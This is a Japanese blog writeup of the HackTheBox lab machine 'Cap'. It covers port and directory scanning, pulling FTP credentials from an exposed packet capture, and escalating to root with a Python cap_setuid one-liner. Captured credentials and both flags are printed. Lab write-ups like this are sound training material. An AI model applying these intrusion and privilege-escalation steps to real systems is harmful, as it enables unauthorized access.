2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Cap:Writeup

Posted at

概要

HackTheBox「Cap」のWriteupです。

User Flag

Nmapでポートスキャンを行います。

$ nmap -Pn -T4 -sC -sV -A -p- 10.10.10.245 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-title: Security Dashboard
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sat, 17 Aug 2024 16:16:33 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 17 Aug 2024 16:16:25 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 17 Aug 2024 16:16:26 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 8.2p1
80 http gunicorn

Webサイトにアクセスするとダッシュボードページが表示されました。

dashboard.png

ディレクトリ列挙を行います。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.10.245/FUZZ -recursion -recursion-depth 1 -ic -c -fc 500,403

                        [Status: 200, Size: 19386, Words: 8716, Lines: 389, Duration: 342ms]
ip                      [Status: 200, Size: 17464, Words: 7275, Lines: 355, Duration: 322ms]
netstat                 [Status: 200, Size: 33465, Words: 16103, Lines: 495, Duration: 323ms]

Dashboard->Security Snapshot(5 Second PCAP + Analysis)をクリックすると/captureにアクセスし、/data/42へリダイレクトしました。

capture.jpg

再度同じ手順でアクセスすると/data/23へアクセスできました。

23-download.png

/data配下をディレクトリスキャンします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.10.245/data/FUZZ -recursion -recursion-depth 1 -ic -c -fc 500,403,302
1                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 348ms]
2                       [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 348ms]
3                       [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 358ms]
4                       [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 306ms]
00                      [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 271ms]

(省略)

様々な数字のパスを得られました。

/data/0にアクセスし、PCAPファイルをダウンロードします。
WireSharkでダウンロードしたPCAPファイルを開くとFTPのユーザー認証パケットを発見でき、FTPのユーザー名、パスワードを得られました。
Username: nathan,Password: Buck3tH4TF0RM3!

ftp pass.png

FTPにログインします。

$ ftp 10.10.10.245 
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

カレントディレクトリを確認するとuser.txtを発見したのでダウンロードします。

ftp> ls
229 Entering Extended Passive Mode (|||11331|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Aug 16 19:38 snap
-r--------    1 1001     1001           33 Aug 16 19:26 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||15850|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***********************************************************************|    33      870.98 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.11 KiB/s)

ダウンロードしたuser.txtからフラグを入手できます。

$ cat user.txt
0f26415cfb9397915f69857bdbdc975f

Root Flag

Username: nathan,Password: Buck3tH4TF0RM3!の認証情報を利用してSSH接続をします。

$ ssh nathan@10.10.10.245
nathan@cap:~$

linpeasを実行します。

$ ./linpeas

/usr/bin/python3.8capabilitiesの設定を発見しました。

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

GTFOBinsで脆弱性情報を検索するとヒットしました。

サイトを参考にコマンドを実行し、root権限に昇格できました。

nathan@cap:/tmp$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root

/root/root.txtからルートフラグを入手できます。

# cat /root/root.txt
2833ddb81c19003db6124757574df82c
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?